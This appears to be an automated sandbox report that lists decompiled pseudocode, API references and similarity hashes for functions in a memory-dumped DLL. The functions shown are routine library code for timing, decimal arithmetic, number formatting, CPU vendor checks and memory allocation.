				_t2 = _t57 + 4; // 0x0
				_t35 =  *_t2;
				asm("sbb ebx, [eax+0x4]");
				if( *((char*)(__ecx + 0x10)) == 0 ||  *((char*)(_t17 + 0x10)) == 0) {
					L26:
					return _t56;
				} else {
					_t5 = _t57 + 8; // 0x0
					_t38 =  *_t5 -  *((intOrPtr*)(_t17 + 8));
					_t7 = _t57 + 0xc; // 0x0
					_t58 =  *_t7;
					asm("sbb esi, [eax+0xc]");
					_t19 = _t38;
					if( *0x6d8803b0 == 0) {
						_a4 = _t19 - _t56;
						asm("sbb eax, ebx");
						asm("cdq");
						_a4 = _a4 ^ _t50;
						_a4 = _a4 - _t50;
						asm("sbb eax, edx");
						_t52 = _t58 ^ _t50;
						__eflags = _t52 -  *0x6d88037c; // 0x0
						if(__eflags > 0) {
							_t23 = _a4;
							L9:
							_t24 = _t23 -  *0x6d880378;
							asm("sbb edx, [0x6d88037c]");
							__eflags = _t52 -  *0x6d880394; // 0x0
							if(__eflags > 0) {
								L12:
								__eflags =  *0x6d880018;
								if( *0x6d880018 == 0) {
									goto L26;
								}
								asm("cdq");
								_t26 = _t35 ^ _t52;
								_t41 = (_t56 ^ _t52) - _t52;
								asm("sbb eax, edx");
								__eflags = _t26 -  *0x6d880384; // 0x0
								if(__eflags > 0) {
									goto L26;
								}
								if(__eflags < 0) {
									L16:
									__imp__GetTickCount64();
									_t59 = E6D877E50(_t26, _t52,  *0x6d880010,  *0x6d880014);
									_a4 = _t52;
									EnterCriticalSection(0x6d880398);
									_t28 =  *0x6d8803b8; // 0x0
									__eflags = _t28 |  *0x6d8803bc;
									_t53 = _a4;
									if((_t28 |  *0x6d8803bc) == 0) {
										L24:
										_t44 =  *0x6d880388; // 0x7ec85db8
										_t29 =  *0x6d88038c; // 0x2
										_t45 = _t44 + _t59;
										__eflags = _t45;
										 *0x6d8803b8 = _t45;
										asm("adc eax, edx");
										 *0x6d8803bc = _t29;
										L25:
										LeaveCriticalSection(0x6d880398);
										goto L26;
									}
									__eflags =  *0x6d8803bc - _t53; // 0x0
									if(__eflags < 0) {
										goto L24;
									}
									if(__eflags > 0) {
										L20:
										_t46 =  *0x6d880388; // 0x7ec85db8
										_t30 =  *0x6d88038c; // 0x2
										asm("sbb eax, edx");
										asm("adc eax, [0x6d8803bc]");
										asm("adc eax, 0xffffffff");
										_t31 = E6D877E90(_t46 - _t59 +  *0x6d8803b8 + 0xffffffff, _t30,  *0x6d880388,  *0x6d88038c);
										__eflags = _t53;
										if(_t53 != 0) {
											L23:
											 *0x6d880018 = 0;
											goto L25;
										}
										__eflags = _t31 - 4;
										if(_t31 > 4) {
											goto L23;
										}
										asm("adc edx, edx");
										 *0x6d8803b8 = E6D877E50(_t31 + 1, _t53,  *0x6d880388,  *0x6d88038c) + _t59;
										asm("adc edx, [ebp+0x8]");
										 *0x6d8803bc = _t53;
										goto L25;
									}
									__eflags = _t28 - _t59;
									if(_t28 <= _t59) {
										goto L24;
									}
									goto L20;
								}
								__eflags = _t41 -  *0x6d880380; // 0xff8358b0
								if(__eflags >= 0) {
									goto L26;
								}
								goto L16;
							}
							if(__eflags < 0) {
								L7:
								_t19 = _t38;
								goto L3;
							}
							__eflags = _t24 -  *0x6d880390; // 0x663489e
							if(__eflags <= 0) {
								goto L7;
							}
							goto L12;
						}
						if(__eflags < 0) {
							goto L7;
						}
						_t23 = _a4;
						__eflags = _t23 -  *0x6d880378; // 0x82d29c0
						if(__eflags > 0) {
							goto L9;
						}
						goto L7;
					}
					L3:
					return _t19;
				}
			}

0x6d86b583
0x6d86b588
0x6d86b58d
0x6d86b58f
0x6d86b58f
0x6d86b592
0x6d86b599
0x6d86b729
0x00000000
0x6d86b5a9
0x6d86b5a9
0x6d86b5ac
0x6d86b5af
0x6d86b5af
0x6d86b5b2
0x6d86b5b5
0x6d86b5be
0x6d86b5c9
0x6d86b5ce
0x6d86b5d0
0x6d86b5d3
0x6d86b5d6
0x6d86b5d9
0x6d86b5db
0x6d86b5dd
0x6d86b5e3
0x6d86b5f6
0x6d86b5f9
0x6d86b5f9
0x6d86b5ff
0x6d86b605
0x6d86b60b
0x6d86b617
0x6d86b617
0x6d86b61e
0x00000000
0x00000000
0x6d86b628
0x6d86b629
0x6d86b62d
0x6d86b62f
0x6d86b631
0x6d86b637
0x00000000
0x00000000
0x6d86b63d
0x6d86b64b
0x6d86b64b
0x6d86b669
0x6d86b66b
0x6d86b66e
0x6d86b674
0x6d86b67b
0x6d86b681
0x6d86b684
0x6d86b704
0x6d86b704
0x6d86b70a
0x6d86b70f
0x6d86b70f
0x6d86b711
0x6d86b717
0x6d86b719
0x6d86b71e
0x6d86b723
0x00000000
0x6d86b723
0x6d86b686
0x6d86b68c
0x00000000
0x00000000
0x6d86b68e
0x6d86b694
0x6d86b694
0x6d86b69a
0x6d86b6a7
0x6d86b6b5
0x6d86b6be
0x6d86b6c3
0x6d86b6c8
0x6d86b6ca
0x6d86b6fb
0x6d86b6fb
0x00000000
0x6d86b6fb
0x6d86b6cc
0x6d86b6cf
0x00000000
0x00000000
0x6d86b6e0
0x6d86b6eb
0x6d86b6f0
0x6d86b6f3
0x00000000
0x6d86b6f3
0x6d86b690
0x6d86b692
0x00000000
0x00000000
0x00000000
0x6d86b692
0x6d86b63f
0x6d86b645
0x00000000
0x00000000
0x00000000
0x6d86b645
0x6d86b60d
0x6d86b5f2
0x6d86b5f2
0x00000000
0x6d86b5f2
0x6d86b60f
0x6d86b615
0x00000000
0x00000000
0x00000000
0x6d86b615
0x6d86b5e5
0x00000000
0x00000000
0x6d86b5e7
0x6d86b5ea
0x6d86b5f0
0x00000000
0x00000000
0x00000000
0x6d86b5f0
0x6d86b5c0
0x00000000
0x6d86b5c0

APIs

GetTickCount64.KERNEL32 ref: 6D86B64B
EnterCriticalSection.KERNEL32(6D880398,00000000,?,?,?,00000001,?,6D86B52E,?,?,6D86B3A3,?,?,?,?,6D86B3CD), ref: 6D86B66E
__aulldiv.LIBCMT ref: 6D86B6C3
LeaveCriticalSection.KERNEL32(6D880398,?,?,?,00000001,?,6D86B52E,?,?,6D86B3A3,?,?,?,?,6D86B3CD), ref: 6D86B723

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 24bf8b92e8c584d046f9600f7717114acab4b19e6773cc32a618b4bd532feab9
Instruction ID: c7c87f00310f0acc8d301dab0535511414d9b8f2f158fe57decbb319344c3850
Opcode Fuzzy Hash: 24bf8b92e8c584d046f9600f7717114acab4b19e6773cc32a618b4bd532feab9
Instruction Fuzzy Hash: A44180716113849FDB24CF6EC89CB6977B6FB5BB29B188929F505C7244D730A840CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86DB70, Relevance: 6.1, APIs: 4, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D86DB70(void* __ecx, void* __eflags, void* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				signed int _v28;
				void _v32;
				char _v56;
				intOrPtr _t38;
				void* _t40;
				void* _t42;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t54;
				intOrPtr _t62;
				signed int _t65;
				signed int _t67;
				signed int _t73;
				signed int _t75;
				signed int _t80;
				intOrPtr _t84;
				intOrPtr _t97;
				void* _t98;

				_t38 = _a8;
				_t95 = __ecx;
				_v16 = _t38;
				_t62 =  *((intOrPtr*)(_t38 + 0x10));
				_v20 = __ecx;
				_t84 =  *((intOrPtr*)(__ecx + 0x10));
				_v8 = _t84;
				_v12 = 2;
				_t40 = E6D86ECEC( &_v20) - 1;
				if(_t40 == 0) {
					__eflags = _t84 - _t62;
					if(_t84 != _t62) {
						_t65 = 6;
						memcpy( &_v32, __ecx, _t65 << 2);
						_t98 = _t98 + 0xc;
						_t42 =  &_v32;
					} else {
						_t42 = E6D86F040( &_v56);
					}
					L23:
					_t95 = _t42;
					L24:
					_t67 = 6;
					_t44 = memcpy(_a4, _t95, _t67 << 2);
					L25:
					return _t44;
				}
				_t46 = _t40 - 1;
				if(_t46 == 0) {
					E6D86FC47( &_v20, _a4);
					L19:
					_t44 = _a4;
					goto L25;
				}
				_t48 = _t46 - 1;
				if(_t48 == 0) {
					goto L24;
				}
				if(_t48 == 1) {
					__eflags = _t62 - 1;
					E6D86ED50(_a4, 0 | _t62 != 0x00000001);
					goto L19;
				}
				_t54 = E6D86E4A0( &_v56, __ecx, _a8);
				_t73 = 6;
				memcpy( &_v32, _t54, _t73 << 2);
				_t98 = _t98 + 0x18;
				_t97 = _v8;
				if(_t97 != _t62) {
					_t80 = _v24 + _v32;
					_t75 = _v20;
					asm("adc ecx, [ebp-0x18]");
				} else {
					_t80 = _v32 - _v24;
					_t75 = _v28;
					asm("sbb ecx, [ebp-0x10]");
				}
				if(_t97 != 1 || _t62 != _t97) {
					L11:
					__eflags = _t75;
					if(__eflags < 0) {
						L15:
						asm("adc ecx, eax");
						__eflags = _t97 - 1;
						_push( ~_t75);
						_push( ~_t80);
						_push(_v16);
						_t24 = _t97 != 1;
						__eflags = _t24;
						_push(0 | _t24);
						L16:
						_t42 = E6D86D880( &_v56);
						goto L23;
					}
					if(__eflags > 0) {
						L14:
						_push(_t75);
						_push(_t80);
						_push(_v16);
						_push(_t97);
						goto L16;
					}
					__eflags = _t80;
					if(_t80 < 0) {
						goto L15;
					}
					goto L14;
				} else {
					_t60 = _t80 | _t75;
					if((_t80 | _t75) != 0) {
						goto L11;
					}
					E6D86D8AB(_a4, _t60, _t60, _t60, _t60);
					goto L19;
				}
			}

0x6d86db76
0x6d86db7b
0x6d86db7d
0x6d86db80
0x6d86db87
0x6d86db8a
0x6d86db8d
0x6d86db90
0x6d86db9c
0x6d86db9f
0x6d86dc6f
0x6d86dc71
0x6d86dc81
0x6d86dc85
0x6d86dc85
0x6d86dc87
0x6d86dc73
0x6d86dc77
0x6d86dc7c
0x6d86dc8a
0x6d86dc8a
0x6d86dc8c
0x6d86dc93
0x6d86dc94
0x6d86dc96
0x6d86dc9c
0x6d86dc9c
0x6d86dba5
0x6d86dba8
0x6d86dc65
0x6d86dc6a
0x6d86dc6a
0x00000000
0x6d86dc6a
0x6d86dbae
0x6d86dbb1
0x00000000
0x00000000
0x6d86dbba
0x6d86dc4c
0x6d86dc56
0x00000000
0x6d86dc5c
0x6d86dbc8
0x6d86dbd7
0x6d86dbd8
0x6d86dbd8
0x6d86dbda
0x6d86dbdf
0x6d86dbf2
0x6d86dbf5
0x6d86dbf8
0x6d86dbe1
0x6d86dbe4
0x6d86dbe7
0x6d86dbea
0x6d86dbea
0x6d86dbfe
0x6d86dc18
0x6d86dc1a
0x6d86dc1c
0x6d86dc2c
0x6d86dc2e
0x6d86dc34
0x6d86dc37
0x6d86dc38
0x6d86dc39
0x6d86dc3c
0x6d86dc3c
0x6d86dc3f
0x6d86dc40
0x6d86dc43
0x00000000
0x6d86dc43
0x6d86dc1e
0x6d86dc24
0x6d86dc24
0x6d86dc25
0x6d86dc26
0x6d86dc29
0x00000000
0x6d86dc29
0x6d86dc20
0x6d86dc22
0x00000000
0x00000000
0x00000000
0x6d86dc04
0x6d86dc06
0x6d86dc08
0x00000000
0x00000000
0x6d86dc11
0x00000000
0x6d86dc11

APIs

?alignOperands@Decimal@blink@@CA?AUAlignedOperands@12@ABV12@0@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D86E7D4,6D86D9CF), ref: 6D86DBC8
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D86E7D4), ref: 6D86DC43
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(00000002,00000000,?,?,?,?,?,?,?,?,?,?,?,6D86E7D4,6D86D9CF,?), ref: 6D86DC56
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6D86E7D4,6D86D9CF,?), ref: 6D86DC77

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?align?infinity@?nan@AlignedOperands@Operands@12@Sign@01@Sign@12@@V12@0@
String ID:
API String ID: 1752975899-0
Opcode ID: 28453c36b79d3ef7949447d1936d2125d2f66f982ffd733a91ee9007a6fc32bd
Instruction ID: b20e1f1f9bbe299a7a4dc4b7a535009770100e2dca7485a99e9235b61b3fdd93
Opcode Fuzzy Hash: 28453c36b79d3ef7949447d1936d2125d2f66f982ffd733a91ee9007a6fc32bd
Instruction Fuzzy Hash: FC31717290415EBBCB05DEA8D888DBEB779BB85324B218915F910AB340D7719A40C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6D874330, Relevance: 6.1, APIs: 4, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6D874330(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v28;
				char _v29;
				char _v36;
				char _v40;
				char _v44;
				void* __ebp;
				signed int _t28;
				signed char _t37;
				void* _t38;
				void* _t52;
				intOrPtr _t62;
				signed int _t64;
				signed int _t65;
				intOrPtr _t66;
				intOrPtr* _t68;
				signed int _t73;

				_t64 = __edx;
				_t52 = __ebx;
				_t28 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t28 ^ _t73;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__esi);
				_push(__edi);
				_t68 = _a12;
				_t71 = __ecx;
				asm("movsd [ebp-0x30], xmm0");
				asm("movsd [ebp-0x28], xmm0");
				E6D86FCE8(__ecx,  &_v44);
				_t65 = _t64 & 0x7ff00000;
				if(0 != 0 || _t65 != 0x7ff00000) {
					asm("movsd xmm0, [ebp-0x30]");
					asm("movsd [esp], xmm0");
					_t37 = E6D871F20(_t52, 0x7ff00000, _t65, _t68, _t71, 0x7ff00000, 0x7ff00000, _a16, 0,  &_v28, 0x12,  &_v29,  &_v36,  &_v40);
					if(_v29 != 0) {
						asm("movsd xmm0, [ebp-0x30]");
						asm("ucomisd xmm0, [0x6d87b580]");
						asm("lahf");
						if((_t37 & 0x00000044) != 0 || ( *_t71 >> 0x00000003 & 0x00000001) == 0) {
							_t62 =  *((intOrPtr*)(_t68 + 8));
							 *((intOrPtr*)(_t68 + 8)) = _t62 + 1;
							 *((char*)(_t62 +  *_t68)) = 0x2d;
						}
					}
					_t66 = _v40;
					_t38 = _t66 - 1;
					if(_t71[4] > _t38 || _t38 >= _t71[5]) {
						E6D8717E0(_t52, _t71, _t68, _t71,  &_v28, _v36, _t38, _t68);
					} else {
						_t44 =  >  ? _v36 - _t66 : 0;
						E6D8716D0(_t71,  &_v28, _v36, _t66,  >  ? _v36 - _t66 : 0, _t68);
					}
				} else {
					asm("movsd xmm0, [ebp-0x30]");
					asm("movsd [esp], xmm0");
					E6D872B30(__ecx, _t65, 0x7ff00000, 0x7ff00000, _t68);
				}
				return E6D8770C0(_v8 ^ _t73);
			}

0x6d874330
0x6d874330
0x6d874336
0x6d87433d
0x6d874340
0x6d874348
0x6d874349
0x6d87434a
0x6d87434d
0x6d874350
0x6d874355
0x6d87435a
0x6d874365
0x6d874369
0x6d874388
0x6d8743a6
0x6d8743ab
0x6d8743b7
0x6d8743b9
0x6d8743be
0x6d8743c6
0x6d8743ca
0x6d8743d5
0x6d8743db
0x6d8743e0
0x6d8743e0
0x6d8743ca
0x6d8743e4
0x6d8743e7
0x6d8743ed
0x6d87441e
0x6d8743f4
0x6d8743fe
0x6d87440c
0x6d87440c
0x6d87436f
0x6d87436f
0x6d874379
0x6d87437e
0x6d87437e
0x6d874434

APIs

Part of subcall function 6D86FCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D87435F,?,?,?,?,?,?,?,?,6D86EE7F), ref: 6D86FCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?,?,?,?,?,?,?,?,6D86EE7F,?,?,?,00000000,?), ref: 6D87437E
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,?,00000000,?,00000012,?,?,?,?,?), ref: 6D8743AB
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D87440C
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D87441E

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$CreateRepresentation@$Ascii@DecimalDtoaExponentialHandleMode@12@SpecialValues@memmove
String ID:
API String ID: 43519812-0
Opcode ID: a8278bd472b966ecc92bb0312a94cac297c00b0780b3bb16d8385a24fc3c71f2
Instruction ID: 80402a4eec06a1d0003985d75480c3b926d17e05d302183c48f6bbcc93731870
Opcode Fuzzy Hash: a8278bd472b966ecc92bb0312a94cac297c00b0780b3bb16d8385a24fc3c71f2
Instruction Fuzzy Hash: 27316E71A1450EABDF25CEA8DC48EEFB7BDFF8D704F014A1AE505A7100EB20A941D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B7B8, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C,?,?,00000000), ref: 6D86B7F4
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6D86B808

Strings

AuthcAMDenti, xrefs: 6D86B802
GenuntelineI, xrefs: 6D86B7E8

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: _strnicmp
String ID: AuthcAMDenti$GenuntelineI
API String ID: 2635805826-1606420540
Opcode ID: 0d484cd758929910c1f55377cc9f205b1119a39288ca459fa781d9572dbc0fc0
Instruction ID: 80c698d5da385547abc6149fc20afaa31115e6ffb67a51e89e5a05b41019ce38
Opcode Fuzzy Hash: 0d484cd758929910c1f55377cc9f205b1119a39288ca459fa781d9572dbc0fc0
Instruction Fuzzy Hash: 542151B191521AAFD704CF69DD45AAAF7E8FF48314B10862EE819E7200E731A910CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F340, Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D86F340(void* __ecx, void* __edx, void* _a4) {
				signed short _t16;
				void* _t19;
				void* _t20;
				signed int _t30;
				void* _t37;
				void* _t43;
				void* _t44;

				_t37 = __edx;
				_t44 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 0 ||  *((intOrPtr*)(__ecx + 0xc)) == 2) {
					L9:
					_t30 = 6;
					return memcpy(_a4, _t44, _t30 << 2);
				} else {
					_t16 =  *(__ecx + 8) & 0x0000ffff;
					if(_t16 >= 0) {
						goto L9;
					}
					_t42 =  ~_t16;
					if(E6D86E878( *((intOrPtr*)(__ecx)),  *((intOrPtr*)(__ecx + 4))) >=  ~_t16) {
						_t19 = E6D86F3E6( *((intOrPtr*)(__ecx)),  *((intOrPtr*)(__ecx + 4)), _t42 - 1);
						_t27 = _t37;
						_t43 = _t19;
						_t20 = E6D877F20(_t43, _t37, 0xa, 0);
						if(_t37 != 0 || _t20 >= 5) {
							_t43 = _t43 + 0xa;
							asm("adc ebx, 0x0");
						}
						E6D86D880(_a4,  *((intOrPtr*)(_t44 + 0x10)), 0, E6D877E90(_t43, _t27, 0xa, 0), _t37);
						return _a4;
					}
					E6D86FC80(_a4, 0);
					return _a4;
				}
			}

0x6d86f340
0x6d86f344
0x6d86f34b
0x6d86f3d6
0x6d86f3dd
0x00000000
0x6d86f357
0x6d86f357
0x6d86f35e
0x00000000
0x00000000
0x6d86f368
0x6d86f373
0x6d86f390
0x6d86f398
0x6d86f39a
0x6d86f3a2
0x6d86f3a9
0x6d86f3b0
0x6d86f3b3
0x6d86f3b3
0x6d86f3cb
0x00000000
0x6d86f3d3
0x6d86f37a
0x00000000
0x6d86f383

APIs

?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D86F37A
__aullrem.LIBCMT ref: 6D86F3A2
__aulldiv.LIBCMT ref: 6D86F3BC
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,00000000,00000000,?,-0000000A,?,0000000A,00000000,00000000,?,0000000A,00000000), ref: 6D86F3CB

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$?zero@Sign@01@Sign@12@@V12@__aulldiv__aullrem
String ID:
API String ID: 2549670309-0
Opcode ID: 094efee134f835e34d90bd4e1137427c8b85a8670d69e49283d400a43905cd4b
Instruction ID: ac1fd1b9a0d5ec75a4172a78b5cce80779fb750c6f8b3cec619e7db5bd08912d
Opcode Fuzzy Hash: 094efee134f835e34d90bd4e1137427c8b85a8670d69e49283d400a43905cd4b
Instruction Fuzzy Hash: FE11E773604244BBE7214A04DD85F7A73AAEFA1F75F208C6AFA154A190EB71EC40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D873682, Relevance: 6.1, APIs: 4, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D873682(void* __ebx, void* __edi, void* __esi, long _a4, intOrPtr* _a12) {
				char* _v0;
				struct _SYSTEM_INFO _v40;
				intOrPtr* _v44;
				char* _v52;
				void* _t25;
				char* _t27;
				char* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				long _t35;
				intOrPtr* _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t47;

				_t35 = _a4;
				_t2 = _t35 - 1; // 0x6d875d0d
				_t47 =  !_t2 & 0xf0deafff;
				_t42 = VirtualAlloc(_t47, _t35, 0x2000, 1);
				if(_t42 != _t47) {
					GetSystemInfo( &_v40);
					if(_t47 < _v40.lpMaximumApplicationAddress || _t47 + _t35 < _v40.lpMaximumApplicationAddress) {
						if(_t42 == 0) {
							_t25 = VirtualAlloc(0, _t35, 0x2000, 1);
							if(_t25 != 0) {
								goto L2;
							} else {
								asm("int3");
								E6D868DD0(0xa9);
								asm("int3");
								_t37 = _v44;
								_t27 = _v52;
								_t39 =  *_t37;
								if(_t39 != 0) {
									 *((char*)(_t39 + _t27 - 1)) =  *((char*)(_t39 + _t27 - 1)) + 1;
									_t38 =  *_t37;
									while(1) {
										_t28 = _v0;
										_t38 = _t38 - 1;
										if(_t38 <= 0) {
											break;
										}
										if( *((char*)(_t28 + _t38)) == 0x3a) {
											 *((char*)(_t28 + _t38)) = 0x30;
											 *((char*)(_v0 + _t38 - 1)) =  *((char*)(_v0 + _t38 - 1)) + 1;
											continue;
										}
										L19:
										return _t28;
										goto L20;
									}
									if( *_t28 == 0x3a) {
										 *_t28 = 0x31;
										_t30 = _a12;
										 *_t30 =  *_t30 + 1;
										return _t30;
									}
									goto L19;
								} else {
									 *_t27 = 0x31;
									_t40 = _t39 + 1;
									_t31 = _a12;
									 *_t31 = _t40;
									 *_t37 = _t40;
									return _t31;
								}
							}
						} else {
							_t25 = _t42;
							goto L2;
						}
					} else {
						if(_t42 != 0) {
							VirtualFree(_t42, _t35, 0x8000);
						}
						goto L1;
					}
				} else {
					L1:
					_t25 = _t47;
					L2:
					return _t25;
				}
				L20:
			}

0x6d873689
0x6d873690
0x6d87369b
0x6d8736a8
0x6d8736ac
0x6d8736bb
0x6d8736c4
0x6d8736e3
0x6d8736f3
0x6d8736fb
0x00000000
0x6d8736fd
0x6d8736fd
0x6d873703
0x6d873708
0x6d87370c
0x6d87370f
0x6d873712
0x6d873716
0x6d873725
0x6d873729
0x6d87373e
0x6d87373e
0x6d873741
0x6d873744
0x00000000
0x00000000
0x6d873731
0x6d873733
0x6d87373a
0x00000000
0x6d87373a
0x6d873754
0x6d873754
0x00000000
0x6d873754
0x6d873749
0x6d87374b
0x6d87374e
0x6d873751
0x00000000
0x6d873751
0x00000000
0x6d873718
0x6d873718
0x6d87371b
0x6d87371c
0x6d87371f
0x6d873721
0x6d873724
0x6d873724
0x6d873716
0x6d8736e5
0x6d8736e5
0x00000000
0x6d8736e5
0x6d8736ce
0x6d8736d0
0x6d8736d9
0x6d8736d9
0x00000000
0x6d8736d0
0x6d8736ae
0x6d8736ae
0x6d8736ae
0x6d8736b0
0x6d8736b6
0x6d8736b6
0x00000000

APIs

VirtualAlloc.KERNEL32(6D875D0D,6D875D0E,00002000,00000001,?,?,?,?,?,?,?,?,?,?,6D875D0E,?), ref: 6D8736A2
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6D875D0E,?), ref: 6D8736BB
VirtualFree.KERNEL32(00000000,6D875D0E,00008000,?,?,?,?,?,?,?,?,?,?,6D875D0E,?), ref: 6D8736D9
VirtualAlloc.KERNEL32(00000000,6D875D0E,00002000,00000001,?,?,?,?,?,?,?,?,?,?,6D875D0E,?), ref: 6D8736F3

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$Alloc$FreeInfoSystem
String ID:
API String ID: 2068012669-0
Opcode ID: 5abe0a6ddb9971ca913ffce23fedc7d9f42f0a04356bce219a25789d9785487d
Instruction ID: d8aaa1f4fb15a9cf5c96ceef024db132f98576577ae6440fffdfb77f6f3593dc
Opcode Fuzzy Hash: 5abe0a6ddb9971ca913ffce23fedc7d9f42f0a04356bce219a25789d9785487d
Instruction Fuzzy Hash: 7E01B576744228ABDB216A598C8DF9F7779FB86744F210410FA14D7280EB619C44D6B2

Uniqueness

Uniqueness Score: -1.00%

Function 6D86AE18, Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

SymGetModuleInfo64.DBGHELP(?,?,?,?,00000000,?,?,?,6D86A8B7,00000000,?,?,?,?), ref: 6D86AE3E
EnumerateLoadedModules64.DBGHELP(?,6D86B160,?,?,6D86A8B7,00000000,?,?,?,?), ref: 6D86AE56
SymGetModuleInfo64.DBGHELP(?,?,?,?,?,6D86A8B7,00000000,?,?,?,?), ref: 6D86AE6A
SymGetLineFromAddr64.DBGHELP(?,?,?,00000000,?,?,6D86A8B7,00000000,?), ref: 6D86AE8C

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Info64Module$Addr64EnumerateFromLineLoadedModules64
String ID:
API String ID: 3508588221-0
Opcode ID: 9677fbe8483f4224b7ed9591e435db9b5eda715b7acf04e3ea390277dd98f53a
Instruction ID: 686b471d60fd98a484503061545992b62d11f3c03c8d61156ce0b68c417c914e
